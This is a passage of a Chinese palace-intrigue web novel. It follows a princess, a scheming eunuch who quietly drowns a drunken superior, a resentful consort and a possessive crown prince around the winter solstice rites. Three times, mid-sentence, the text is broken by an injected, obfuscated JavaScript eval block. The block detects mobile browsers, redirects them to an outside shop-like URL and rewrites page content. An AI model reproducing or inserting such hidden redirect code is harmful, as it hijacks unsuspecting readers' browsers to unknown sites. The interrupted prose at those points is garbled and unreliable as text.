皇帝走后,御前近侍韦公公留了下来,问起咸福宫是谁侍弄花草,一个年轻太监战战兢兢走出来。 杖责五十大板,韦公公笑眯眯地说。 宫中行刑,若无特殊关照,这五十板子下去腿也就废了。 “陛下哪里是惩处宫人,分明是在打本宫的脸。”惠妃坐在罗汉床,宫女跪在脚踏替她揉着膝盖。 她看到姜越木木的神色,语气不善:“陛下一向看重你姐姐,可她只顾自己胡闹玩乐,全不管我这生母如何。你呢?平日里课业是怎么学的?陛下竟连问也不想多问你一句。” “一个两个,都不叫本宫省心。” 姜越张了张嘴,想要为元歌辩解,又犹豫了。 当他和母妃面对天威与怒气时,皇姐只需要一句话就能让父皇重新笑出来。所谓父皇,在皇姐面前才像是父亲,在他这里永远是皇字当前。所谓儿臣,皇姐就是儿女,而他则更像臣子。 即使母妃误会了什么,也难以动摇皇姐受到的宠爱,那他其实不需要为皇姐解释什么。皇姐也不需要这样一个平庸的弟弟。 姜越最终没有反驳惠妃的话。 还是郑嬷嬷开了口:“娘娘想想,今日陛下在咸福宫动了怒,公主那儿又正好着人来请,怎有如此巧的事?必是公主听闻了娘娘这里的动静,才想出这法子。” “嬷嬷不用替她开脱,本宫还是看过戏的。一套花花绿绿打扮下来,少说也要一个多时辰,元歌难不成能未卜先知?”惠妃立即否定了嬷嬷的话,顿了顿,还是多问了姜越一句:“越儿,今日为何去找你皇姐?” 她并不知道姜越先来的咸福宫门外,让书童进去打探过消息又走了。 “上回皇姐说要给我做风筝,今日休沐,便想去问问皇姐。”姜越手指攥紧袖口,眼睛再次变得有神:“母妃别难过,儿臣会听先生的话刻苦用功,再不要风筝了。” 惠妃看向郑嬷嬷,略带苦涩地一笑:“你也知道长庆是个主意大的,本宫怎能使唤得动她?” 她连元歌的名字也不唤了,只说她的封号。 “当初让孝安皇后养了几年,便瞧不上她母家了。可说到底也是从本宫肚子里出来的,再如何与本宫撇开干系,也不能变成中宫嫡出。”惠妃失望地说,让郑嬷嬷将铜炉中的沉香点燃。 郑嬷嬷知道这是惠妃的一块心病。当年三公主才两岁,孝安皇后十分喜欢她,加之陛下想要给元歌抬一抬身份,便说将元歌放在皇后膝下教养。这一养就是七年,跟着皇后宫里的太子一同长大,直到孝安皇后身子不好需要休养,元歌这才搬离了中宫。 这样看来,长庆公主的确不如一直养在惠妃宫里的六皇子亲近。 “母妃,我来给你按。”姜越适时上前,接替了宫女揉膝盖的活计,宫女退至一旁立着。 宁静平缓的香气袅袅散开,惠妃拉过姜越轻轻抱在怀中,叹息道:“好孩子,母妃也只能靠你了。” “待会儿尚服局的朱司衣要来,她最擅浆染衣料,你同她说说你想要的颜色。” 姜越的下巴枕在惠妃肩膀,盯着窗上的万字纹发呆,密密麻麻像迷宫,他忽然想起皇姐殿里亮晶晶的云母窗子。 …… “红绡,把窗子合上。” 绿扇对一个宫女说道,又转身吩咐林福:“去尚膳监拿些紫苏叶,再要些别的混在一起,不拘什么吃的喝的都行。” 公主咽喉胀痛,还有些许风寒迹象,想是前几日从咸福宫回来时受冻,加之今日在院内又着了凉气的缘故。可若是叫人知道陛下刚走,公主殿里便开始煮祛寒治病的汤水难免不好。 “姑姑不说我也省得。”林福动作麻利,直奔尚膳监。 除了紫苏叶,他还要了蜂蜜、牛乳和菱粉,看起来像是要给公主做点心。尚膳监的提督太监见状,又添上一份松子栗粉酥,还有一小碟用来解腻的醋藕。 林福同他客套了几句,便回到含章殿小厨房,将紫苏叶、葱白、生姜一并煮了,盛出一碗端给绿扇。 “殿下,趁热喝了吧。”绿扇坐在架子床的床沿,将勺子递到元歌嘴边。 元歌直接拿过瓷碗,一口气喝完了,空碗放在炕案。又弯腰从床围的抽屉里取出一个甜白釉小罐。 她打开盖罐,从中拈了两枚蜜饯含着,将紫苏葱白水的味道压下去。 宫女捧着茶水和漱盂,绕过屏风走至榻前,服侍元歌漱了口。 戏袍搭在屏风上,水袖垂落,遮挡住孔雀刺绣的尾羽。 “这唱戏的衣服也太薄了。”元歌抱怨道。 事发突然,她虽画了旦角的妆,可哪里有戏袍?还好薛让从钟鼓司拿来一件没穿过的,元歌急忙赶在皇帝来到前穿戴好。 戏服为求潇洒飘逸大多采用缎和纱,里面也不能穿夹袄。好嘛,潇洒是潇洒了,元歌在院里唱完一曲只觉自己也要飘起来了。 “公主恕罪。”屏风另一头传来薛让的声音。 他跪在地毯上,身后是暖黄的夕阳,屏风也变得昏黄起来,将床榻与外面隔开,什么也看不清。微尘漂浮在空气中,带着一丝丝金色的光晕。 条案旁放着一个箱子,里面的绸缎整齐堆叠,波光粼粼跟湖水似的,是陛下方才让人送来的。元歌只看一眼就卧在榻上了,兴致缺缺。 “你们平日唱戏,不冷吗?”许是风寒的缘故,元歌的声音略有些发闷,低低的。 “奴才们皮糙肉厚,经得起冻。”薛让平静地说。 “薛让,你那身板还担不起皮糙肉厚这几个字,多吃些。” 他似乎听见公主笑了笑,随后绿扇从屏风后走出来,将一碟松子栗粉酥递给他:“殿下赏你的,让你都吃了。” 薛让谢过公主,弯着腰从殿内慢慢退出来。 公主似乎是躺下了,薛让听到隐约的对话。 “绿扇,我身上乏,你给我读个话本。” “公主听一会便早些安寝吧,今夜发发汗,明日就好了。” “嗯,本公主明日就能好起来。”元歌呢喃,“冬至大宴就快到了啊。” …… 薛让行至院内,复又挺起腰板。他白日当值过了,夜间是另一个太监轮换他的位置。 “呦,敢情跪了半日还有赏啊。”林福瞄到他手中的点心,阴阳怪气道。 薛让笑笑,塞给林福一个荷包,里面装着些碎银:“往后还需林公公关照。” 林福递给他一个算你懂事的眼神,环顾了一下左右,将他拉进角落宫人值夜的小耳房。 合上门,林福清清嗓子,端起前辈的样子:“既然进了含章殿,就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481302|201754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个宫里的人了,有几句话你须得记住。” 薛让作出洗耳恭听之态。 “咱们含章殿在宫里也是有分量的,打狗也要看主人,你单单顶着这个名头,就不会有宫人随意欺辱你。”林福丝毫没觉得自己这比方有何问题,语调又是一转,“可是呢,你我毕竟是奴才,即便一个选侍也是正儿八经的主子,更别说再往上的人了。” “呵,你今日冒尖和主子唱反调没死,那是公主宽仁!但凡换一个主子,你看看你还能不能全须全尾地出来,日后长点心吧!听说了吗?今儿咸福宫养花的小全子养坏了一盆竹子,被拖去宫正司打了这个数。”林福伸出手掌比了个五,神情狰狞。 “这么些板子下去,他那腰啊腿啊都不能看了,血糊糊一团!还不知今晚能否熬过去哩。” 林福还想继续说,他干爹林德海在门外叫他,又匆匆去了。 天色已暗,薛让捧着栗粉酥回到钟鼓司直房。 直房里其余几个人都不在,他捏起一块糕点,咬了一小口,随即又把整个都吞下。不一会儿,薛让就吃了三块糕点。 明日他就要从这里搬去含章殿附近的直房,便简单收拾了下行囊。他的东西本来就少,那些戏服也用不上,加起来也没多少物件。 只不过还有些事没解决,薛让眯了眯眼,颇为遗憾。 木门被敲了两下,竟是钟鼓司的佥书秦公公来了,还拎着一壶酒和一个食盒。 往常他最是不屑于踏足低等太监的直房,每回来这边都是趾高气昂。 看清来人是谁,薛让眼中的遗憾顿时消去大半,起身去迎。 “小禄子,不对,如今要称薛让薛公公了。”秦公公笑呵呵将酒和小菜放在桌上,躬身坐了下来,肥胖的肉叠在腰间,像只臃肿的大虾。 “这是?”他问的是那几枚精致糕点,一看就不是奴才吃的。 薛让说是公主赏赐的。 秦公公哦了一声,抬起手臂主动为薛让斟满一杯,又拍拍旁边的木凳:“屋里的几个人都让咱家派去洒扫了,明日你就要走,咱家特意过来跟你喝场酒,算是祝贺。薛公公可不要嫌这酒太浑呐!” 他实则是心虚的,前段日子差点当众把薛让打死。谁知这个下贱戏子转了大运,居然进了长庆公主宫里,瞧着还混的不错。这令他不得不多考虑几分,趁着薛让搬走前缓和关系。 “怎能劳烦秦公公。”薛让神态谦逊,站着给秦公公倒了一杯酒,随后才坐下。 “咱家就知道薛公公是个明事理的。”秦公公看在眼里,与他碰了一杯,感慨道:“那日的情形大家伙都记得。八皇子的奶娘刻薄,直盯着咱家处置你,咱家的确想帮你,可有心无力啊。” 薛让点点头,又替他倒了一杯酒。 “宜妃娘娘不能得罪,只能委屈了你。咱家那时就打算在嬷嬷面前做个样子,你一昏过去,便叫人给你抬到后头,将养两天就回来了。未曾想公主殿下恰好路过,施了恩。”秦公公煞有介事地说。 薛让一直顺着秦公公的话说着,这让秦公公有些意外之喜,不免又自得起来。想来也是,他好歹也是个佥书,这钟鼓司除了掌印太监没人能越过他,薛让就算要记仇也得掂量几下。 大半壶酒下肚,渐渐的,秦公公眼神模糊起来,话语也染着醉醺醺的气味。 薛让扶他站起来:“夜深了,我送公公回房。” “啊哈哈哈,小禄子,就算攀上了公主的高枝儿,也别忘了你秦爷爷的提携之恩呐!若不是咱家在院里打你,公主又如何能注意你……”秦公公彻底醉了,身形摇晃,嘴里嘟囔着。 “是。”薛让将秦公公搀出门,引着他走入直房后面的小道。 阴云上涌,偶有几滴雨落下。 秦公公喝得头重脚轻,路也认不清。他一会儿说看到了两个月亮,一会儿骂老天突然下雨,薛让耐心听着,有问有答。 穿过甬道,尽头是一扇狭窄的八角门。薛让停下脚步,含着浅淡的笑。 5. 第五章 八角门通向钟鼓司边上的小园子,最中间搭了一个小戏台,亭台假山一应俱全,还有片小池塘。为的是方便宫中的贵人们来此听戏看杂耍,平时也能给戏班子当作排演的地方。 夜晚无人,寒风从假山的缝隙穿过。这几日天气回暖,池塘上的薄冰消融,此时池塘黝黑一片,透出几分阴森。 台子的帷幕后头是戏房,放着几个大戏箱,分别装着文服、武服和帽冠,华丽的头面则是被锁在最后面的箱子,边上还有张梳妆的小木桌。除了唱戏时,掌印太监定了不得入内的规矩,以免宫人偷拿戏服和头面去抵钱, 在这一众杂七杂八的物件里,还挤着两个人。 一个穿着葵花纹胸背圆领衫的太监躺在外侧,绯色衣衫略微敞开,这颜色在整个钟鼓司也只有掌印太监一人能穿。而他对面的女子则是一身窄袖短衣的宫女打扮,头上的双髻已被压乱。 然而这哪里是普通宫女,分明是皇上去年封的选侍卫氏。 皇帝某日看伶人表演歌舞,相中了里面一个宫人,临幸后随口赏了她选侍的位份。 掌印太监抬手将卫选侍的头发散下来,从袖中神神秘秘掏出一个小瓷瓶:“馨儿,尝尝这梅花露。虽不如娘娘们宫里的玫瑰露,但味道也差不多。” 女子咯咯笑着:“说的像你真吃过玫瑰花露,听说宜妃娘娘宫里也只有那么一瓶。” “不都是把花摘下来弄的,能有何区别?”掌印太监搂着她,额头抵额头,“冷不冷?” 卫氏摇头。 掌印太监打开瓶塞,幽香溢出,他用手指蘸了蘸瓶口的花露,点在卫氏唇上,又问她甜不甜。 “甜得很,等我拿回去泡水喝,几滴就能泡一盏了。”卫氏用舌尖抿了抿,往空气中吐出一口气,问他:“有梅花味儿吗?” “叫我仔细闻闻。”掌印太监凑近,凑到卫选侍的脸上、唇上。 卫选侍轻轻推他,自然是没推开。 “天儿冷了,我明日再给你搬一筐炭火过去。”掌印太监道。 卫氏位份低,不得圣眷。炭火经过宫人几层克扣,待拿到手里也只剩五成。 她指尖也是冷的,被面前的太监放进怀里暖着。 外面下起雨来,戏台两侧上场和下场的门帘挡住了外界的寒风。一个带绒的披风盖在二人身上,披风下的手游走着,惹得卫选侍哎呦了一声。 雨势渐密,二人正沉浸,哪里注意得到外头的脚步。 “娘的,怎么越下越大。” 秦公公骂骂咧咧掀开幕帘,进来躲雨。那崽种估计忘了他秦爷爷住哪儿,连路也引错,竟把他带到这园子里。 漆黑中,他忽然闻到一股甜腻的味道,似乎是花瓣,又或是别的什么。待看到地上两个模糊的人影,白花花的手臂和肩膀,秦公公的酒登时醒了大半。 “哪里来的野鸳鸯,敢在钟鼓司偷.情!”秦公公摇摇晃晃上前,以为是寻常的宫女太监对食,笑得恶劣:“胆子不小,爷爷这就捉了你们交给掌印公公处置,看他会不会打死你们这对腌臜货。” 他正要将人抓住,动作却慢了一步,被人用什么物件打倒在地。只觉脑门刺痛,头晕眼花。 昏迷前,秦公公看到一片绯色衣角。他忽然激动起来,张嘴要喊,后脑又是一下重击,彻底陷入黑暗。 …… 雨后空气混着泥土和青草的气味,枯枝落叶漂在水面,岸边青石板路被冲洗得发亮,缝隙之间的苔藓也吸饱了水。 一个杂役还没完全睡醒,揉了揉眼,手持竹竿将另一头的捞网伸向水面,没碰到落叶,却碰到一具大物件。 他大叫一声,惊慌失措地跑回钟鼓司喊人,双腿发软,在偏门的门槛栽了个跟头。紧接着被一只青衫手臂温和地扶起来。 “雨天地上滑,走路可要小心些。”薛让说道。他背着简单的行囊,正从钟鼓司走出来。 “薛公公!院子里……”杂役声音发抖,还没说完便被薛让打断。 “有事去报给管事太监即可,慌个什么劲儿?”薛让笑了笑,抽出手臂离开。 杂役稳了稳心神,进去通报。 没多久,钟鼓司里就隐隐传开了这一惊天消息: 秦公公死了! 据说是昨夜喝多了酒,失足掉进池子里淹死的。秦公公喜爱喝酒,这是大家都知道的,且酒后也总爱打骂低等宫人。故而他这一死,钟鼓司竟有不少人松了口气,庆幸老天开眼。 掌印太监将此事报给司礼监,又训诫众人管好嘴巴不得声张。 临近冬至,宫里上下都在准备着。太监淹死一事不吉,司礼监的意思是压下去,不值当拿来惊扰主子们。他们也正忙着京察与几日后的祭天仪式,只派个太监过来匆匆看过,就将秦公公之死定为了失足落水,之后就抛给钟鼓司的掌印处置了。 于是秦公公的尸首被迅速运出了宫,园子彻底洒扫,池面再次干净起来。 钟鼓司的击鼓声日渐频繁,排演着皇帝祭祀当日出宫与回宫时的鼓点与钟声。 到了祭祀的前三日,鼓声止息。 “父皇正在斋戒,谁也不见,怎的又叫我去求情?”元歌气冲冲回到含章殿,身后跟着姜越。 薛让拦下了正要出动的狼青犬,又悄悄喂给它一小块糖饼。他来到含章殿当值后,元歌见香香总喜欢凑到他旁边,便让他领了照顾香香的差事。 香香安静下来,目送元歌往殿里去。 “皇姐,母妃也是没了办法。”姜越走在后头,眼神落在案上的红珊瑚,“二舅舅刚被革除职位,父皇又把冬至宴交给了宜妃操办,按理说是想打压母妃,偏偏这时候……” 这时候又赏了元歌与姜越,打一巴掌给个甜枣,这让姜越摸不着头脑,不知该作何反应。 “你不是也领了赏?”元歌停在桌案旁,回过身看他,嘲弄地笑:“皇弟怎不自己去问问呢?” 这显然是气话,姜越再傻也知道此时不能去斋宫触霉头。 “可是皇姐,你一定有法子的对吗?父皇最宠爱你了,母妃也看重你。”姜越不解地看她,若是母家势弱,对他们姐弟有什么好处? 元歌坐在中央的圈椅上,懒得看他,“姜越,你要是想继续留在这儿替母妃传话,本宫就让狗来咬你了。” “皇姐,你不能如此、如此撇开干系。”姜越慌张起来,忙去看绿扇的眼色。 绿扇对他轻轻摇了摇头。 姜越却不知拧在何处,直愣愣站在那儿就是不走。 啪嚓—— 元歌面无表情,拿起旁边的玉如意砸在姜越脚边。 姜越被吓得后退一步,想起父皇也是这样看着自己。 “绿扇,送送六皇子。”元歌道。 这回没有人再留下了,殿内一空,只有案上的珊瑚与地上的玉屑闪闪发光。门外林德海见状,招呼着林福来收拾地面,元歌烦躁地摆摆手,他们不敢违逆,一并全出去了。 没多久,殿门又被顶开一条缝,露出一个毛茸茸的狗脑袋。香香不明所以,蹦蹦跳跳进来了。元歌不想跟一条狗置气,叫薛让把香香牵出去。 狗倒是被赶出去了,薛让却留下了。 他跪在地面,低头捡着碎玉。 “听不懂本宫说话?”元歌声音带着明显的不耐。 她依稀记得年幼时一次端午,她粽子吃多了积食,半夜肚子疼得打滚,孝安皇后带着太医来瞧她,而后伺候她用膳的宫女就消失了。 之后便是由乳母伺候她用膳,乳母又不敢给她吃多,单独照看她用膳时总是减量,宁愿让五岁的公主吃不饱,于是之后一段日子元歌时不时就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481303|201754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会挨饿。直到她踮脚扒着皇帝的茶点一个劲往嘴里塞,也不嫌腻,皇帝才发觉女儿脸上的肉似乎少了一些。 乳母被打了二十板子,数量并不多,却没熬过来,死了。 父皇说她是皇家子嗣,若是让奴才欺压到头上,那是无能。元歌连着几日做了噩梦,梦里一会儿是嬷嬷移走她的饭碗,一会儿是嬷嬷被打得瘫软的身体,一双眼怨恨盯着她。 薛让伏在地上:“殿下息怒,当心身子。” 元歌垂首看着他。 绿扇曾在咸福宫照看过姜越,是以冒着风险也要提点他。林德海是皇上的人,她心里清楚。 姜越是她血脉相连的亲弟。 这些人,她让他们出去,便真的都走了。他们如此怕她?还是害怕她所代表的权势? 即便如此,也轮不到面前这个低微的奴才对她的话置若罔闻。 元歌拾起手边一个茶盏盖子,把玩了一圈。 薛让没有躲,额角被砸开一个口子。 “滚出去。” 薛让当作没听见,膝行至元歌脚边。 “殿下的手被划伤了。”薛让从怀里拿出一瓶药膏。 元歌低头,才看见手背不知何时被划出一道口子,浅浅的血丝凝结在上面。 含章殿一众宫人方才都没发现,也许是不敢招惹动怒的她。 薛让打开药膏的塞子,清苦的气息蔓延。 元歌闻到气味,皱眉:“本宫从不用这么差的伤药。” 不过她又觉得有些新奇,这样普通的伤药,居然有人敢拿来给她? “殿下恕罪,这的确是奴才最好的药了。平日带在身上,都不敢留在直房,怕叫人偷了去。” 这小太监倒是很坦然,还有闲情开玩笑,药膏不上不下拿在手中,也不知道给自己额头上的血口擦一擦。 薛让抬首,眉眼清澈见底,细细的血线从脸侧滑落。 “若是本宫用完稍有不适,你的命就没了。”元歌淡声道。 “奴才这条命是公主给的,不能算作奴才自己的。”薛让说罢垂下头,默默收回了药膏。 上面的主位半晌没动静,玉石的碎渣搓磨着他的膝盖。 正当薛让怀疑自己要被拖出去挨打时,一只手伸到了他面前。手背光滑白皙,更显得上面的划痕突兀。 “不是要上药么?”元歌说。 薛让于是替公主涂好了药膏,动作很轻。 “宫里的人都开始做新衣了,去换身好衣裳。”元歌从发间摘下一枚金簪给他,暗示薛让可以滚了。 薛让双手接过,笑着谢恩,收拾了地上裂开的玉如意,随即告退。 元歌望着他的背影发愣,忽然开始后悔自己打伤了他的脸,又叫林福给薛让送去了上等的伤药。 薛让看到伤药后有些惊讶,就在含章殿后头的罩房简单包扎了脑门,随后又带着玉如意的残骸,找地方把大块的碎玉换成了碎银,揣在袖子里来到御马监后面的牲口房。 夕阳西下,许多太监绕成一圈,围着中间的两只斗鸡,纷纷下注。 薛让挤到宜妃宫里的太监旁边,不仅自己下了注,又帮他贴补了赌输的银钱,带着这太监赢了一场,对方感激不已。 赌完斗鸡,薛让又去旁边的桌子掷了许多轮骰子,身上银钱翻了一倍。 待他回到直房,已是酉时。 薛让打水洗去身上沾染的牲口气息,最后用皂角水打湿下巴,用一只薄薄的剃刀刮去胡茬。 宫里太监在净身后往往不会再长胡须,可薛让知道,他与他们不同。 他清理完即将冒头的胡茬,又捻起兰花指,莲步细碎,做了个旦角的手式。 他需要和他们相似。 烛火微动,将他的影子打在窗户纸,像是飘摇的皮影戏。 6. 第六章 冬至当日,天还未亮,太子和朝臣随皇帝赴南郊祭天,命妇则是进宫朝贺。太后坐在上首,孝安皇后在数年前故去,两侧便坐着惠妃与宜妃,接受命妇们的跪拜与贺词。 惠妃脸上的脂粉更重些,像是为了掩盖倦色,话也不多,端着一副高位的架子。 宜妃年约三十,瞧着很有气血,眉眼还存留着年轻时的妩媚,脸上笑盈盈,嘴边的梨涡被笑意带起来,相比之下更加平易近人。 命妇在面上均是很恭敬,有的人心里却思量起来,惠妃娘娘的亲弟刚被革除了职位,日后这宫里的形势或许要变了。 最前头站的是长庆公主,一身深青翟衣和纁色下裳,金线绣着翟鸟纹,发冠是青鸟衔珠,耳着白玉珰,腰系大带。红黄青三色丝绦在行礼时垂下,玉佩碰撞发出轻响。 长庆公主光彩夺目,便叫人很容易忽略她身后的五公主。 半响,朝贺结束,太后向命妇们赐下花糕,元歌扶着惠妃回到咸福宫。 少有的,惠妃没有提及其他事,只是叫她趁热将小厨房现做的扁食吃了。 “宫宴你向来吃的少,先垫垫肚子,免得到时饮酒不适。”惠妃语气平缓而温和。 这让元歌恍惚想起小时候,她被送到皇后宫里之前的日子,惠妃的神态总是很平和。可如今,惠妃脸上已显出岁月的痕迹,眼下是微青的倦怠。 她低头默默吃完一整碗扁食,肉馅鲜嫩多汁,面皮还带着一丝劲道,这些年来味道一直未变。 元歌觉着宫宴的食物大多华而不实,吃着没有味道,今晚也一样。 觥筹交错,歌舞不停,规矩繁琐,待元歌走出奉天殿,脑子还呜呜回响着箜篌声。 奏乐从大殿飘出,盘旋在空中,乌鸦绕树三匝。圆月照亮殿旁玉阶,宫殿连绵重叠,像是蛰伏在深夜里的凶兽。 她回想宫宴上的场景,朝臣和命妇约莫也提前垫了肚子,担心宴上吃多了失态,饭菜都没怎么动过。直到皇帝亲赐扁食,他们倒是吃得很快。周府的人不像从前那样打眼了,小舅舅恨不得将自己缩进桌案后。 “三妹妹。”身后有人唤她。 元歌一听见这称呼便知道是谁,转过身来看他。 宫殿立柱下,这人头戴翼善冠,身着赤色盘领蟠龙袍,外头披着件纯白貂裘,一手抱着手炉,另一只手则轻放在银丝藜杖上。他五官端方,锐利的凤眼落在元歌身上变得温润起来。 当朝太子姜琏,皇后唯一的嫡出子嗣,在皇子公主中行二。 “皇兄。”元歌快步走近,屈膝行了个万福礼。 “穿的过于单薄了。”太子将手炉放在她手里,语气严肃:“图好看也不能冻着。” 元歌道了谢,眼神避开他手下的拐杖。 她顿了顿,拘谨地问:“皇兄身子近来可好?” 外人眼中张扬跋扈的长庆公主,在太子面前显然更像是个听话的学生。 “劳三妹妹挂心,轻快多了。我叫你,是因我近来得了一幅柳公权真迹,三妹妹不想看看吗?”太子笑道。 元歌的字师从翰林院裴公,是陛下为她亲选的老师,受此熏陶许多年,元歌不仅写得一手劲瘦的楷书,对于书法也略懂一二。 是以在太子说到柳公权三个字时,元歌的眼睛亮了亮,可还是有些犹豫,像有意回避。 “孤不想说第二遍。”太子敛起笑意,神情淡淡。 话都说到这地步了,元歌只得应下。 说罢,元歌行礼告退。太子望着她的背影,没说话。 翌日辰时三刻,阳光不浓不淡,元歌穿过东华门,继续往东去。 东宫外的宦官远远看到她的步辇,立刻进去禀报。待元歌的步辇停在巍峨的殿门外,里面已有管事的太监来迎。 经过前院的端本宫大殿,丹墀规整,层层攀沿而上,偶有几个詹事府的官员从两侧的配殿走出,瞧见元歌,遥遥行上一礼。 行至后殿,管事太监停在一处书房前,朝里头回禀了一声。紧接着一个小太监出来传主子的话,请元歌入内,又留在外面合紧了门。 她带了一支紫毫和一块徽墨,放在太子的桌案上。太子也的确拿出了柳公权的一封亲笔书信,实乃珍品。 元歌安慰自己果然没白来,目光反复流连在书信的字文上。 书房内的炭火太足,元歌没一会儿就热了。 也许太子喊她来并没有其他目的,只是单纯鉴赏字画名品,她心里的怀疑逐渐打消。 “皇兄从何处得来的?”元歌随口问道。 “喜欢便拿去。”太子扶在黄花梨的手杖上,用帕子将她额头的汗一点点擦去,看着她发红的嘴角:“心火太旺,我再叫宫人给你包一盒铁皮石斛。” 离得近了,太子身上醇厚柔和的药香传来,像是太阳底下晒干的草药叶。 “不敢夺人所爱,还是留给皇兄吧。”元歌悄悄往边上移了两寸。 “三妹妹同我生分了。”太子道,拿起那张薄纸朝熏笼里丢去。 元歌一惊,连忙拦下他的动作:“皇兄这是做什么?” “孤还想问问三妹妹,你自己不要,又不许孤扔了,这是干甚?”太子的语气颇为无辜。 元歌无奈,知道他这样是生气了,便将那封真迹展平,收到自己怀中:“多谢皇兄割爱,我受领了。” 太子的神情这才缓和,又提起让元歌留下一同用午膳。 “却是不巧,我昨日才和母妃说过今日一同用膳,越儿也要来。”元歌道,“时辰不早,我也该去了。” 太子直直望进她眼底,似乎想要辨别这是借口还是实话,元歌也不逃避,规矩地行礼告退。 她刚退至门边,太子殿下发话了。 “三妹妹不是想知道柳公真迹从何而来吗?是从周保恒府邸抄出来的,孤让刑部的人一一清点过了,三妹妹这位舅舅,府里可是有不少好东西。”太子笑了笑,声音温和,对上元歌诧异的眼神。 他支着手杖走来,步子很稳当。 “区区一个通政使司右通政,奏折从他手上递送, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481304|201754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也敢拦下地方弹劾的折子,耽误几日光景,以便将消息卖出去。皇妹还要听吗?你的好舅舅,还会瞧着父皇的情绪,挑时候将考评呈上去。” 后面的不必再细说,若是在皇帝高兴时,哪怕只是中上的考评也能得到厚赏。但若是在皇帝烦扰时,即使是一个小错也会有更严苛的处罚。 周保恒更改递送折子的时间、奏折摆放的顺序,都代表着试图算计皇帝的决策,放到明面上都是比贪墨还重的大罪。 “……皇兄怎么忽然跟我说这些?”元歌的脊背贴在裂花纹隔断的边缘,冷汗冒出,她现在半点儿都不热了。 “此事不是你能掺合的,三妹妹,那群扶不起来的蠢人也值当你夜不能寐?”太子叹气,低头看她,眼里是真切的担忧。 元歌的心又沉了沉,好你个姜琏,连她在自己宫里睡得好不好都一清二楚。 这代表含章殿里至少有一个东宫的眼线,或者更多。 “我睡得很安稳,也没打算管这事。”元歌下意识反驳。 “这样啊,孤就知道皇妹很聪明。”太子挑了挑眉,用告诫的口吻说:“皇妹,别骗我。” 元歌只是摇头,不想回话。太子也不在意她的无礼。 “你许久没来过,用完午膳再走罢,我吩咐厨子做了你最喜欢的樱桃肉。还有宣化上供的牛乳葡萄,冬日里吃个新鲜。”他将元歌耳后歪掉的珠花扶正,指尖微凉,蹭过她耳垂。 元歌偏过头,花钗碰到冷硬的隔断,再一次歪了。 “三妹妹,近来的天太冷,我腿疼。”太子弯下身,额头放在元歌肩膀,草药的清香蔓延,将她自上而下笼罩。 “皇兄。”元歌退无可退。 她已经不爱吃樱桃肉了,他却还以为他们留在数年前炎热的午后,用完膳就地在席上躺着,头顶是郁郁葱葱的葡萄架。葡萄掉落在元歌脸上,她洗也不洗,直接张嘴就吃了,姜琏笑她邋遢。 粘稠的夏日,蝉鸣嗡响,元歌没听清姜琏后面的话。 后来孝安皇后病逝,他们二人在东宫的角落抱在一起哭,那时元歌觉得这里好大,转一圈要很久很久。如今再看,没一会儿就走到了头。 那是元歌第一回见姜琏哭,也是最后一回。 听到他说腿疼,元歌身子一僵,没有再推辞。 待坐在暖阁,元歌在太子沉甸甸的目光下,被迫喝了两杯去火的竹叶茶,苦涩极了。 “皇妹宫里的人服侍不好,你也由着他们偷懒。这样,司礼监刚送来几个伶俐宫女,出身清白,回去时带走两个尽心侍奉着你,好叫我放心。”太子理所应当地说。 这是明摆着往她宫里塞人。元歌敢怒不敢言,心里又开始后悔起来,觉着自己不该那么轻易就答应留下。 幸好太子妃的宫女及时来报,说太子妃身上不适,劳太子殿下去瞧一眼。 太子临走时回头看了元歌一眼,略带可惜。 等到姜琏彻底离开,连衣角都消失在视野,元歌终于松了一口气,逃也似的回到含章殿。 7. 第七章 土鼓藤覆盖含章殿角落的墙壁,攀爬而上,藤蔓交叠,在冬日里依旧茂盛。院中的宫女太监跪下,元歌扫了一眼,径直走进膳厅。 “殿下回来的晚,可是有事耽搁了?”林德海躬身问道。 寻常宫人是不能随意问主子行踪的,也就只有林德海这种资历深厚,又是含章殿总管太监的才有资格提起一二。 “和皇兄一起赏画,忘了时辰。”元歌从多宝格上的罐子拿出一颗饴糖含住,姜琏不知道拿什么配的竹叶茶,她的舌根到现在还带着苦味。 林德海吩咐宫人将小厨房热着的饭菜端来,在桌上摆放好,正要为元歌布菜。 “林公公不必服侍了,叫薛让把香香带进来。”元歌没有让林德海伺候用膳。 威武的狼青犬坐在元歌脚边,时不时接住元歌扔给它的肉,满足地抖抖耳朵。一眼就能看透它喜欢什么,想要什么,这样简单的动物让元歌感到一丝心安。 元歌陪它玩了会儿,才发觉薛让垂手立在一旁,不声不响。 真是奇怪,这么个大活人,仿佛和花架、柜子融为了一体,很难被注意到。这样的特征就适合被送去塞外,干些刺探敌情的事,元歌想着。 “本宫说了只将狗留下,薛让,你是狗么?”元歌放下筷子,没声好气地说。 